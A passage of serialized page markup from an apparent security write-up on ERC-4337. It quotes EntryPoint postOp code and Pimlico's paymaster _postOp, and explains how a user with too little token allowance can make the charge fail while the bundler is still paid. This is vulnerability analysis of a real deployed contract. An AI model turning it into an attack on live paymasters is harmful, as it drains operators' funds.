mUserOp.sender;\n",{"type":24,"tag":930,"props":4561,"children":4562},{"class":932,"line":1169},[4563,4567,4571],{"type":24,"tag":930,"props":4564,"children":4565},{"style":959},[4566],{"type":30,"value":2312},{"type":24,"tag":930,"props":4568,"children":4569},{"style":1079},[4570],{"type":30,"value":2317},{"type":24,"tag":930,"props":4572,"children":4573},{"style":959},[4574],{"type":30,"value":981},{"type":24,"tag":930,"props":4576,"children":4577},{"class":932,"line":1191},[4578,4582,4586],{"type":24,"tag":930,"props":4579,"children":4580},{"style":959},[4581],{"type":30,"value":4550},{"type":24,"tag":930,"props":4583,"children":4584},{"style":1158},[4585],{"type":30,"value":1161},{"type":24,"tag":930,"props":4587,"children":4588},{"style":959},[4589],{"type":30,"value":4590}," paymaster;\n",{"type":24,"tag":930,"props":4592,"children":4593},{"class":932,"line":1223},[4594,4598,4603,4607,4611],{"type":24,"tag":930,"props":4595,"children":4596},{"style":1079},[4597],{"type":30,"value":1575},{"type":24,"tag":930,"props":4599,"children":4600},{"style":959},[4601],{"type":30,"value":4602}," (context.length ",{"type":24,"tag":930,"props":4604,"children":4605},{"style":1158},[4606],{"type":30,"value":2261},{"type":24,"tag":930,"props":4608,"children":4609},{"style":1242},[4610],{"type":30,"value":1245},{"type":24,"tag":930,"props":4612,"children":4613},{"style":959},[4614],{"type":30,"value":1503},{"type":24,"tag":930,"props":4616,"children":4617},{"class":932,"line":1281},[4618,4623,4627,4631,4635],{"type":24,"tag":930,"props":4619,"children":4620},{"style":959},[4621],{"type":30,"value":4622},"                    actualGasCost ",{"type":24,"tag":930,"props":4624,"children":4625},{"style":1158},[4626],{"type":30,"value":1161},{"type":24,"tag":930,"props":4628,"children":4629},{"style":959},[4630],{"type":30,"value":3423},{"type":24,"tag":930,"props":4632,"children":4633},{"style":1158},[4634],{"type":30,"value":1410},{"type":24,"tag":930,"props":4636,"children":4637},{"style":959},[4638],{"type":30,"value":4639}," gasPrice;\n",{"type":24,"tag":930,"props":4641,"children":4642},{"class":932,"line":1313},[4643,4647,4652,4656,4660],{"type":24,"tag":930,"props":4644,"children":4645},{"style":943},[4646],{"type":30,"value":1531},{"type":24,"tag":930,"props":4648,"children":4649},{"style":959},[4650],{"type":30,"value":4651}," postOpPreGas ",{"type":24,"tag":930,"props":4653,"children":4654},{"style":1158},[4655],{"type":30,"value":1161},{"type":24,"tag":930,"props":4657,"children":4658},{"style":937},[4659],{"type":30,"value":3441},{"type":24,"tag":930,"props":4661,"children":4662},{"style":959},[4663],{"type":30,"value":1310},{"type":24,"tag":930,"props":4665,"children":4666},{"class":932,"line":1335},[4667,4672,4677,4682],{"type":24,"tag":930,"props":4668,"children":4669},{"style":1079},[4670],{"type":30,"value":4671},"                    if",{"type":24,"tag":930,"props":4673,"children":4674},{"style":959},[4675],{"type":30,"value":4676}," (mode ",{"type":24,"tag":930,"props":4678,"children":4679},{"style":1158},[4680],{"type":30,"value":4681},"!=",{"type":24,"tag":930,"props":4683,"children":4684},{"style":959},[4685],{"type":30,"value":4686}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":24,"tag":930,"props":4688,"children":4689},{"class":932,"line":1376},[4690,4695,4700],{"type":24,"tag":930,"props":4691,"children":4692},{"style":1079},[4693],{"type":30,"value":4694},"                        try",{"type":24,"tag":930,"props":4696,"children":4697},{"style":1002},[4698],{"type":30,"value":4699}," IPaymaster",{"type":24,"tag":930,"props":4701,"children":4702},{"style":959},[4703],{"type":30,"value":4704},"(paymaster).postOp{\n",{"type":24,"tag":930,"props":4706,"children":4707},{"class":932,"line":1418},[4708,4713,4717],{"type":24,"tag":930,"props":4709,"children":4710},{"style":959},[4711],{"type":30,"value":4712},"                                gas",{"type":24,"tag":930,"props":4714,"children":4715},{"style":1158},[4716],{"type":30,"value":476},{"type":24,"tag":930,"props":4718,"children":4719},{"style":959},[4720],{"type":30,"value":4721}," mUserOp.paymasterPostOpGasLimit\n",{"type":24,"tag":930,"props":4723,"children":4724},{"class":932,"line":1438},[4725],{"type":24,"tag":930,"props":4726,"children":4727},{"style":959},[4728],{"type":30,"value":4729},"                            }(mode, context, actualGasCost, gasPrice)\n",{"type":24,"tag":930,"props":4731,"children":4732},{"class":932,"line":1479},[4733,4738,4743],{"type":24,"tag":930,"props":4734,"children":4735},{"style":1422},[4736],{"type":30,"value":4737},"                        // ",{"type":24,"tag":930,"props":4739,"children":4740},{"style":937},[4741],{"type":30,"value":4742},"solhint-disable",{"type":24,"tag":930,"props":4744,"children":4745},{"style":1422},[4746],{"type":30,"value":4747},"-next-line no-empty-blocks\n",{"type":24,"tag":930,"props":4749,"children":4750},{"class":932,"line":1506},[4751,4756,4761],{"type":24,"tag":930,"props":4752,"children":4753},{"style":959},[4754],{"type":30,"value":4755},"                        {} ",{"type":24,"tag":930,"props":4757,"children":4758},{"style":1079},[4759],{"type":30,"value":4760},"catch",{"type":24,"tag":930,"props":4762,"children":4763},{"style":959},[4764],{"type":30,"value":981},{"type":24,"tag":930,"props":4766,"children":4767},{"class":932,"line":1525},[4768,4773,4777,4782,4786,4790,4794],{"type":24,"tag":930,"props":4769,"children":4770},{"style":943},[4771],{"type":30,"value":4772},"                            bytes",{"type":24,"tag":930,"props":4774,"children":4775},{"style":937},[4776],{"type":30,"value":1097},{"type":24,"tag":930,"props":4778,"children":4779},{"style":959},[4780],{"type":30,"value":4781}," reason ",{"type":24,"tag":930,"props":4783,"children":4784},{"style":1158},[4785],{"type":30,"value":1161},{"type":24,"tag":930,"props":4787,"children":4788},{"style":959},[4789],{"type":30,"value":3986},{"type":24,"tag":930,"props":4791,"children":4792},{"style":1002},[4793],{"type":30,"value":4077},{"type":24,"tag":930,"props":4795,"children":4796},{"style":959},[4797],{"type":30,"value":4082},{"type":24,"tag":930,"props":4799,"children":4800},{"class":932,"line":1569},[4801,4806,4811],{"type":24,"tag":930,"props":4802,"children":4803},{"style":1079},[4804],{"type":30,"value":4805},"                            revert",{"type":24,"tag":930,"props":4807,"children":4808},{"style":1002},[4809],{"type":30,"value":4810}," PostOpReverted",{"type":24,"tag":930,"props":4812,"children":4813},{"style":959},[4814],{"type":30,"value":4815},"(reason);\n",{"type":24,"tag":930,"props":4817,"children":4818},{"class":932,"line":1592},[4819],{"type":24,"tag":930,"props":4820,"children":4821},{"style":959},[4822],{"type":30,"value":4823},"                        }\n",{"type":24,"tag":930,"props":4825,"children":4826},{"class":932,"line":1610},[4827],{"type":24,"tag":930,"props":4828,"children":4829},{"style":959},[4830],{"type":30,"value":4831},"                    }\n",{"type":24,"tag":930,"props":4833,"children":4834},{"class":932,"line":1628},[4835],{"type":24,"tag":930,"props":4836,"children":4837},{"style":1422},[4838],{"type":30,"value":4839},"                    // Calculating a penalty for unused postOp gas\n",{"type":24,"tag":930,"props":4841,"children":4842},{"class":932,"line":1637},[4843,4847,4851],{"type":24,"tag":930,"props":4844,"children":4845},{"style":1422},[4846],{"type":30,"value":1598},{"type":24,"tag":930,"props":4848,"children":4849},{"style":937},[4850],{"type":30,"value":1430},{"type":24,"tag":930,"props":4852,"children":4853},{"style":1422},[4854],{"type":30,"value":4855}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":24,"tag":930,"props":4857,"children":4858},{"class":932,"line":1646},[4859,4863,4868,4872,4876,4880,4884],{"type":24,"tag":930,"props":4860,"children":4861},{"style":943},[4862],{"type":30,"value":1531},{"type":24,"tag":930,"props":4864,"children":4865},{"style":959},[4866],{"type":30,"value":4867}," postOpGasUsed ",{"type":24,"tag":930,"props":4869,"children":4870},{"style":1158},[4871],{"type":30,"value":1161},{"type":24,"tag":930,"props":4873,"children":4874},{"style":959},[4875],{"type":30,"value":4651},{"type":24,"tag":930,"props":4877,"children":4878},{"style":1158},[4879],{"type":30,"value":1215},{"type":24,"tag":930,"props":4881,"children":4882},{"style":937},[4883],{"type":30,"value":3441},{"type":24,"tag":930,"props":4885,"children":4886},{"style":959},[4887],{"type":30,"value":1310},{"type":24,"tag":930,"props":4889,"children":4890},{"class":932,"line":1673},[4891,4896,4900,4905],{"type":24,"tag":930,"props":4892,"children":4893},{"style":959},[4894],{"type":30,"value":4895},"                    postOpUnusedGasPenalty ",{"type":24,"tag":930,"props":4897,"children":4898},{"style":1158},[4899],{"type":30,"value":1161},{"type":24,"tag":930,"props":4901,"children":4902},{"style":1002},[4903],{"type":30,"value":4904}," _getUnusedGasPenalty",{"type":24,"tag":930,"props":4906,"children":4907},{"style":959},[4908],{"type":30,"value":4909},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":24,"tag":930,"props":4911,"children":4912},{"class":932,"line":1692},[4913],{"type":24,"tag":930,"props":4914,"children":4915},{"style":959},[4916],{"type":30,"value":1634},{"type":24,"tag":930,"props":4918,"children":4919},{"class":932,"line":1730},[4920],{"type":24,"tag":930,"props":4921,"children":4922},{"style":959},[4923],{"type":30,"value":1643},{"type":24,"tag":930,"props":4925,"children":4926},{"class":932,"line":1762},[4927],{"type":24,"tag":930,"props":4928,"children":4929},{"style":959},[4930],{"type":30,"value":2923},{"type":24,"tag":930,"props":4932,"children":4933},{"class":932,"line":1775},[4934],{"type":24,"tag":930,"props":4935,"children":4936},{"style":959},[4937],{"type":30,"value":1840},{"type":24,"tag":33,"props":4939,"children":4940},{},[4941,4943,4948,4950,4956,4958,4964,4966,4971,4973,4978,4980,4985,4987,4992,4994,4999,5001,5006],{"type":30,"value":4942},"It turns out that if the ",{"type":24,"tag":156,"props":4944,"children":4946},{"className":4945},[],[4947],{"type":30,"value":364},{"type":30,"value":4949}," call fails, it will revert with ",{"type":24,"tag":156,"props":4951,"children":4953},{"className":4952},[],[4954],{"type":30,"value":4955},"PostOpReverted",{"type":30,"value":4957},". However, as we can see in the previous code of ",{"type":24,"tag":156,"props":4959,"children":4961},{"className":4960},[],[4962],{"type":30,"value":4963},"_executeUserOp",{"type":30,"value":4965},", even though ",{"type":24,"tag":156,"props":4967,"children":4969},{"className":4968},[],[4970],{"type":30,"value":3655},{"type":30,"value":4972}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":24,"tag":156,"props":4974,"children":4976},{"className":4975},[],[4977],{"type":30,"value":4327},{"type":30,"value":4979}," call with ",{"type":24,"tag":156,"props":4981,"children":4983},{"className":4982},[],[4984],{"type":30,"value":4335},{"type":30,"value":4986}," mode, and it won't try to call ",{"type":24,"tag":156,"props":4988,"children":4990},{"className":4989},[],[4991],{"type":30,"value":364},{"type":30,"value":4993}," again. This means the ",{"type":24,"tag":156,"props":4995,"children":4997},{"className":4996},[],[4998],{"type":30,"value":222},{"type":30,"value":5000}," still gets paid for submitting the failed ",{"type":24,"tag":156,"props":5002,"children":5004},{"className":5003},[],[5005],{"type":30,"value":161},{"type":30,"value":436},{"type":24,"tag":33,"props":5008,"children":5009},{},[5010,5012,5017,5019,5024,5026,5033],{"type":30,"value":5011},"Now that we understand this behavior where ",{"type":24,"tag":156,"props":5013,"children":5015},{"className":5014},[],[5016],{"type":30,"value":364},{"type":30,"value":5018}," is allowed to fail while the ",{"type":24,"tag":156,"props":5020,"children":5022},{"className":5021},[],[5023],{"type":30,"value":222},{"type":30,"value":5025}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":24,"tag":37,"props":5027,"children":5030},{"href":5028,"rel":5029},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[41],[5031],{"type":30,"value":5032},"Pimlico",{"type":30,"value":436},{"type":24,"tag":920,"props":5035,"children":5037},{"className":922,"code":5036,"language":924,"meta":7,"style":7},"    function _postOp(\n        PostOpMode, /* mode */\n        bytes calldata _context,\n        uint256 _actualGasCost,\n        uint256 _actualUserOpFeePerGas\n    )\n        internal\n    {\n        ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n        uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n        );\n\n        uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n        uint256 costInToken =\n            getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n        uint256 absoluteCostInToken =\n            costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n        SafeTransferLib.safeTransferFrom(\n            ctx.token,\n            costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n            costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n            absoluteCostInToken\n        );\n\n        uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n        if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n            SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n        }\n\n        emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n    }\n",[5038],{"type":24,"tag":156,"props":5039,"children":5040},{"__ignoreMap":7},[5041,5056,5073,5093,5109,5121,5128,5135,5142,5174,5181,5206,5214,5222,5229,5258,5265,5281,5303,5310,5326,5377,5384,5400,5408,5441,5474,5482,5489,5496,5540,5547,5598,5624,5631,5638,5655],{"type":24,"tag":930,"props":5042,"children":5043},{"class":932,"line":933},[5044,5048,5052],{"type":24,"tag":930,"props":5045,"children":5046},{"style":937},[5047],{"type":30,"value":999},{"type":24,"tag":930,"props":5049,"children":5050},{"style":1002},[5051],{"type":30,"value":1861},{"type":24,"tag":930,"props":5053,"children":5054},{"style":959},[5055],{"type":30,"value":2814},{"type":24,"tag":930,"props":5057,"children":5058},{"class":932,"line":984},[5059,5064,5068],{"type":24,"tag":930,"props":5060,"children":5061},{"style":937},[5062],{"type":30,"value":5063},"        PostOpMode",{"type":24,"tag":930,"props":5065,"children":5066},{"style":959},[5067],{"type":30,"value":962},{"type":24,"tag":930,"props":5069,"children":5070},{"style":1422},[5071],{"type":30,"value":5072},"/* mode */\n",{"type":24,"tag":930,"props":5074,"children":5075},{"class":932,"line":993},[5076,5080,5084,5089],{"type":24,"tag":930,"props":5077,"children":5078},{"style":943},[5079],{"type":30,"value":3833},{"type":24,"tag":930,"props":5081,"children":5082},{"style":937},[5083],{"type":30,"value":1020},{"type":24,"tag":930,"props":5085,"children":5086},{"style":1023},[5087],{"type":30,"value":5088}," _context",{"type":24,"tag":930,"props":5090,"children":5091},{"style":959},[5092],{"type":30,"value":2832},{"type":24,"tag":930,"props":5094,"children":5095},{"class":932,"line":1057},[5096,5100,5105],{"type":24,"tag":930,"props":5097,"children":5098},{"style":943},[5099],{"type":30,"value":2822},{"type":24,"tag":930,"props":5101,"children":5102},{"style":1023},[5103],{"type":30,"value":5104}," _actualGasCost",{"type":24,"tag":930,"props":5106,"children":5107},{"style":959},[5108],{"type":30,"value":2832},{"type":24,"tag":930,"props":5110,"children":5111},{"class":932,"line":1066},[5112,5116],{"type":24,"tag":930,"props":5113,"children":5114},{"style":943},[5115],{"type":30,"value":2822},{"type":24,"tag":930,"props":5117,"children":5118},{"style":1023},[5119],{"type":30,"value":5120}," _actualUserOpFeePerGas\n",{"type":24,"tag":930,"props":5122,"children":5123},{"class":932,"line":1075},[5124],{"type":24,"tag":930,"props":5125,"children":5126},{"style":959},[5127],{"type":30,"value":2877},{"type":24,"tag":930,"props":5129,"children":5130},{"class":932,"line":1122},[5131],{"type":24,"tag":930,"props":5132,"children":5133},{"style":937},[5134],{"type":30,"value":1063},{"type":24,"tag":930,"props":5136,"children":5137},{"class":932,"line":1131},[5138],{"type":24,"tag":930,"props":5139,"children":5140},{"style":959},[5141],{"type":30,"value":1128},{"type":24,"tag":930,"props":5143,"children":5144},{"class":932,"line":1144},[5145,5150,5155,5160,5164,5169],{"type":24,"tag":930,"props":5146,"children":5147},{"style":959},[5148],{"type":30,"value":5149},"        ERC20PostOpContext ",{"type":24,"tag":930,"props":5151,"children":5152},{"style":937},[5153],{"type":30,"value":5154},"memory",{"type":24,"tag":930,"props":5156,"children":5157},{"style":959},[5158],{"type":30,"value":5159}," ctx ",{"type":24,"tag":930,"props":5161,"children":5162},{"style":1158},[5163],{"type":30,"value":1161},{"type":24,"tag":930,"props":5165,"children":5166},{"style":1002},[5167],{"type":30,"value":5168}," _parsePostOpContext",{"type":24,"tag":930,"props":5170,"children":5171},{"style":959},[5172],{"type":30,"value":5173},"(_context);\n",{"type":24,"tag":930,"props":5175,"children":5176},{"class":932,"line":1169},[5177],{"type":24,"tag":930,"props":5178,"children":5179},{"emptyLinePlaceholder":16},[5180],{"type":30,"value":2412},{"type":24,"tag":930,"props":5182,"children":5183},{"class":932,"line":1191},[5184,5188,5193,5197,5202],{"type":24,"tag":930,"props":5185,"children":5186},{"style":943},[5187],{"type":30,"value":2822},{"type":24,"tag":930,"props":5189,"children":5190},{"style":959},[5191],{"type":30,"value":5192}," expectedPenaltyGasCost ",{"type":24,"tag":930,"props":5194,"children":5195},{"style":1158},[5196],{"type":30,"value":1161},{"type":24,"tag":930,"props":5198,"children":5199},{"style":1002},[5200],{"type":30,"value":5201}," _expectedPenaltyGasCost",{"type":24,"tag":930,"props":5203,"children":5204},{"style":959},[5205],{"type":30,"value":2814},{"type":24,"tag":930,"props":5207,"children":5208},{"class":932,"line":1223},[5209],{"type":24,"tag":930,"props":5210,"children":5211},{"style":959},[5212],{"type":30,"value":5213},"            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":24,"tag":930,"props":5215,"children":5216},{"class":932,"line":1281},[5217],{"type":24,"tag":930,"props":5218,"children":5219},{"style":959},[5220],{"type":30,"value":5221},"        );\n",{"type":24,"tag":930,"props":5223,"children":5224},{"class":932,"line":1313},[5225],{"type":24,"tag":930,"props":5226,"children":5227},{"emptyLinePlaceholder":16},[5228],{"type":30,"value":2412},{"type":24,"tag":930,"props":5230,"children":5231},{"class":932,"line":1335},[5232,5236,5240,5244,5249,5253],{"type":24,"tag":930,"props":5233,"children":5234},{"style":943},[5235],{"type":30,"value":2822},{"type":24,"tag":930,"props":5237,"children":5238},{"style":959},[5239],{"type":30,"value":2199},{"type":24,"tag":930,"props":5241,"children":5242},{"style":1158},[5243],{"type":30,"value":1161},{"type":24,"tag":930,"props":5245,"children":5246},{"style":959},[5247],{"type":30,"value":5248}," _actualGasCost ",{"type":24,"tag":930,"props":5250,"children":5251},{"style":1158},[5252],{"type":30,"value":1400},{"type":24,"tag":930,"props":5254,"children":5255},{"style":959},[5256],{"type":30,"value":5257}," expectedPenaltyGasCost;\n",{"type":24,"tag":930,"props":5259,"children":5260},{"class":932,"line":1376},[5261],{"type":24,"tag":930,"props":5262,"children":5263},{"emptyLinePlaceholder":16},[5264],{"type":30,"value":2412},{"type":24,"tag":930,"props":5266,"children":5267},{"class":932,"line":1418},[5268,5272,5277],{"type":24,"tag":930,"props":5269,"children":5270},{"style":943},[5271],{"type":30,"value":2822},{"type":24,"tag":930,"props":5273,"children":5274},{"style":959},[5275],{"type":30,"value":5276}," costInToken ",{"type":24,"tag":930,"props":5278,"children":5279},{"style":1158},[5280],{"type":30,"value":1522},{"type":24,"tag":930,"props":5282,"children":5283},{"class":932,"line":1438},[5284,5289,5294,5298],{"type":24,"tag":930,"props":5285,"children":5286},{"style":1002},[5287],{"type":30,"value":5288},"            getCostInToken",{"type":24,"tag":930,"props":5290,"children":5291},{"style":959},[5292],{"type":30,"value":5293},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":24,"tag":930,"props":5295,"children":5296},{"style":1158},[5297],{"type":30,"value":1400},{"type":24,"tag":930,"props":5299,"children":5300},{"style":959},[5301],{"type":30,"value":5302}," ctx.constantFee;\n",{"type":24,"tag":930,"props":5304,"children":5305},{"class":932,"line":1479},[5306],{"type":24,"tag":930,"props":5307,"children":5308},{"emptyLinePlaceholder":16},[5309],{"type":30,"value":2412},{"type":24,"tag":930,"props":5311,"children":5312},{"class":932,"line":1506},[5313,5317,5322],{"type":24,"tag":930,"props":5314,"children":5315},{"style":943},[5316],{"type":30,"value":2822},{"type":24,"tag":930,"props":5318,"children":5319},{"style":959},[5320],{"type":30,"value":5321}," absoluteCostInToken ",{"type":24,"tag":930,"props":5323,"children":5324},{"style":1158},[5325],{"type":30,"value":1522},{"type":24,"tag":930,"props":5327,"children":5328},{"class":932,"line":1525},[5329,5334,5338,5343,5348,5352,5356,5360,5364,5368,5372],{"type":24,"tag":930,"props":5330,"children":5331},{"style":959},[5332],{"type":30,"value":5333},"            costInToken ",{"type":24,"tag":930,"props":5335,"children":5336},{"style":1158},[5337],{"type":30,"value":2261},{"type":24,"tag":930,"props":5339,"children":5340},{"style":959},[5341],{"type":30,"value":5342}," ctx.preFundCharged ",{"type":24,"tag":930,"props":5344,"children":5345},{"style":1158},[5346],{"type":30,"value":5347},"?",{"type":24,"tag":930,"props":5349,"children":5350},{"style":959},[5351],{"type":30,"value":5276},{"type":24,"tag":930,"props":5353,"children":5354},{"style":1158},[5355],{"type":30,"value":1215},{"type":24,"tag":930,"props":5357,"children":5358},{"style":959},[5359],{"type":30,"value":5342},{"type":24,"tag":930,"props":5361,"children":5362},{"style":1158},[5363],{"type":30,"value":476},{"type":24,"tag":930,"props":5365,"children":5366},{"style":959},[5367],{"type":30,"value":5342},{"type":24,"tag":930,"props":5369,"children":5370},{"style":1158},[5371],{"type":30,"value":1215},{"type":24,"tag":930,"props":5373,"children":5374},{"style":959},[5375],{"type":30,"value":5376}," costInToken;\n",{"type":24,"tag":930,"props":5378,"children":5379},{"class":932,"line":1569},[5380],{"type":24,"tag":930,"props":5381,"children":5382},{"emptyLinePlaceholder":16},[5383],{"type":30,"value":2412},{"type":24,"tag":930,"props":5385,"children":5386},{"class":932,"line":1592},[5387,5392,5396],{"type":24,"tag":930,"props":5388,"children":5389},{"style":959},[5390],{"type":30,"value":5391},"        SafeTransferLib.",{"type":24,"tag":930,"props":5393,"children":5394},{"style":1002},[5395],{"type":30,"value":1703},{"type":24,"tag":930,"props":5397,"children":5398},{"style":959},[5399],{"type":30,"value":2814},{"type":24,"tag":930,"props":5401,"children":5402},{"class":932,"line":1610},[5403],{"type":24,"tag":930,"props":5404,"children":5405},{"style":959},[5406],{"type":30,"value":5407},"            ctx.token,\n",{"type":24,"tag":930,"props":5409,"children":5410},{"class":932,"line":1628},[5411,5415,5419,5423,5427,5432,5436],{"type":24,"tag":930,"props":5412,"children":5413},{"style":959},[5414],{"type":30,"value":5333},{"type":24,"tag":930,"props":5416,"children":5417},{"style":1158},[5418],{"type":30,"value":2261},{"type":24,"tag":930,"props":5420,"children":5421},{"style":959},[5422],{"type":30,"value":5342},{"type":24,"tag":930,"props":5424,"children":5425},{"style":1158},[5426],{"type":30,"value":5347},{"type":24,"tag":930,"props":5428,"children":5429},{"style":959},[5430],{"type":30,"value":5431}," ctx.sender ",{"type":24,"tag":930,"props":5433,"children":5434},{"style":1158},[5435],{"type":30,"value":476},{"type":24,"tag":930,"props":5437,"children":5438},{"style":959},[5439],{"type":30,"value":5440}," ctx.treasury,\n",{"type":24,"tag":930,"props":5442,"children":5443},{"class":932,"line":1637},[5444,5448,5452,5456,5460,5465,5469],{"type":24,"tag":930,"props":5445,"children":5446},{"style":959},[5447],{"type":30,"value":5333},{"type":24,"tag":930,"props":5449,"children":5450},{"style":1158},[5451],{"type":30,"value":2261},{"type":24,"tag":930,"props":5453,"children":5454},{"style":959},[5455],{"type":30,"value":5342},{"type":24,"tag":930,"props":5457,"children":5458},{"style":1158},[5459],{"type":30,"value":5347},{"type":24,"tag":930,"props":5461,"children":5462},{"style":959},[5463],{"type":30,"value":5464}," ctx.treasury ",{"type":24,"tag":930,"props":5466,"children":5467},{"style":1158},[5468],{"type":30,"value":476},{"type":24,"tag":930,"props":5470,"children":5471},{"style":959},[5472],{"type":30,"value":5473}," ctx.sender,\n",{"type":24,"tag":930,"props":5475,"children":5476},{"class":932,"line":1646},[5477],{"type":24,"tag":930,"props":5478,"children":5479},{"style":959},[5480],{"type":30,"value":5481},"            absoluteCostInToken\n",{"type":24,"tag":930,"props":5483,"children":5484},{"class":932,"line":1673},[5485],{"type":24,"tag":930,"props":5486,"children":5487},{"style":959},[5488],{"type":30,"value":5221},{"type":24,"tag":930,"props":5490,"children":5491},{"class":932,"line":1692},[5492],{"type":24,"tag":930,"props":5493,"children":5494},{"emptyLinePlaceholder":16},[5495],{"type":30,"value":2412},{"type":24,"tag":930,"props":5497,"children":5498},{"class":932,"line":1730},[5499,5503,5508,5512,5517,5521,5526,5530,5535],{"type":24,"tag":930,"props":5500,"children":5501},{"style":943},[5502],{"type":30,"value":2822},{"type":24,"tag":930,"props":5504,"children":5505},{"style":959},[5506],{"type":30,"value":5507}," preFundInToken ",{"type":24,"tag":930,"props":5509,"children":5510},{"style":1158},[5511],{"type":30,"value":1161},{"type":24,"tag":930,"props":5513,"children":5514},{"style":959},[5515],{"type":30,"value":5516}," (ctx.preFund ",{"type":24,"tag":930,"props":5518,"children":5519},{"style":1158},[5520],{"type":30,"value":1410},{"type":24,"tag":930,"props":5522,"children":5523},{"style":959},[5524],{"type":30,"value":5525}," ctx.exchangeRate) ",{"type":24,"tag":930,"props":5527,"children":5528},{"style":1158},[5529],{"type":30,"value":1471},{"type":24,"tag":930,"props":5531,"children":5532},{"style":1242},[5533],{"type":30,"value":5534}," 1e18",{"type":24,"tag":930,"props":5536,"children":5537},{"style":959},[5538],{"type":30,"value":5539},";\n",{"type":24,"tag":930,"props":5541,"children":5542},{"class":932,"line":1762},[5543],{"type":24,"tag":930,"props":5544,"children":5545},{"emptyLinePlaceholder":16},[5546],{"type":30,"value":2412},{"type":24,"tag":930,"props":5548,"children":5549},{"class":932,"line":1775},[5550,5554,5559,5563,5567,5571,5575,5580,5585,5589,5593],{"type":24,"tag":930,"props":5551,"children":5552},{"style":1079},[5553],{"type":30,"value":3290},{"type":24,"tag":930,"props":5555,"children":5556},{"style":959},[5557],{"type":30,"value":5558}," (ctx.recipient ",{"type":24,"tag":930,"props":5560,"children":5561},{"style":1158},[5562],{"type":30,"value":4681},{"type":24,"tag":930,"props":5564,"children":5565},{"style":943},[5566],{"type":30,"value":4529},{"type":24,"tag":930,"props":5568,"children":5569},{"style":959},[5570],{"type":30,"value":1010},{"type":24,"tag":930,"props":5572,"children":5573},{"style":1242},[5574],{"type":30,"value":1818},{"type":24,"tag":930,"props":5576,"children":5577},{"style":959},[5578],{"type":30,"value":5579},") ",{"type":24,"tag":930,"props":5581,"children":5582},{"style":1158},[5583],{"type":30,"value":5584},"&&",{"type":24,"tag":930,"props":5586,"children":5587},{"style":959},[5588],{"type":30,"value":5507},{"type":24,"tag":930,"props":5590,"children":5591},{"style":1158},[5592],{"type":30,"value":2261},{"type":24,"tag":930,"props":5594,"children":5595},{"style":959},[5596],{"type":30,"value":5597}," costInToken) {\n",{"type":24,"tag":930,"props":5599,"children":5600},{"class":932,"line":1825},[5601,5606,5610,5615,5619],{"type":24,"tag":930,"props":5602,"children":5603},{"style":959},[5604],{"type":30,"value":5605},"            SafeTransferLib.",{"type":24,"tag":930,"props":5607,"children":5608},{"style":1002},[5609],{"type":30,"value":1703},{"type":24,"tag":930,"props":5611,"children":5612},{"style":959},[5613],{"type":30,"value":5614},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":24,"tag":930,"props":5616,"children":5617},{"style":1158},[5618],{"type":30,"value":1215},{"type":24,"tag":930,"props":5620,"children":5621},{"style":959},[5622],{"type":30,"value":5623}," costInToken);\n",{"type":24,"tag":930,"props":5625,"children":5626},{"class":932,"line":1834},[5627],{"type":24,"tag":930,"props":5628,"children":5629},{"style":959},[5630],{"type":30,"value":1831},{"type":24,"tag":930,"props":5632,"children":5633},{"class":932,"line":1843},[5634],{"type":24,"tag":930,"props":5635,"children":5636},{"emptyLinePlaceholder":16},[5637],{"type":30,"value":2412},{"type":24,"tag":930,"props":5639,"children":5640},{"class":932,"line":1851},[5641,5646,5650],{"type":24,"tag":930,"props":5642,"children":5643},{"style":1079},[5644],{"type":30,"value":5645},"        emit",{"type":24,"tag":930,"props":5647,"children":5648},{"style":1002},[5649],{"type":30,"value":2484},{"type":24,"tag":930,"props":5651,"children":5652},{"style":959},[5653],{"type":30,"value":5654},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":24,"tag":930,"props":5656,"children":5657},{"class":932,"line":1919},[5658],{"type":24,"tag":930,"props":5659,"children":5660},{"style":959},[5661],{"type":30,"value":1840},{"type":24,"tag":33,"props":5663,"children":5664},{},[5665,5667,5672,5674,5680,5682,5688,5690,5695,5697,5702],{"type":30,"value":5666},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":24,"tag":156,"props":5668,"children":5670},{"className":5669},[],[5671],{"type":30,"value":1703},{"type":30,"value":5673},". Note that ",{"type":24,"tag":156,"props":5675,"children":5677},{"className":5676},[],[5678],{"type":30,"value":5679},"preFundCharged",{"type":30,"value":5681}," can be zero, as users can opt out of any ",{"type":24,"tag":156,"props":5683,"children":5685},{"className":5684},[],[5686],{"type":30,"value":5687},"preFund",{"type":30,"value":5689}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":24,"tag":156,"props":5691,"children":5693},{"className":5692},[],[5694],{"type":30,"value":2554},{"type":30,"value":5696}," call inside ",{"type":24,"tag":156,"props":5698,"children":5700},{"className":5699},[],[5701],{"type":30,"value":3655},{"type":30,"value":5703}," will revert and the paymaster 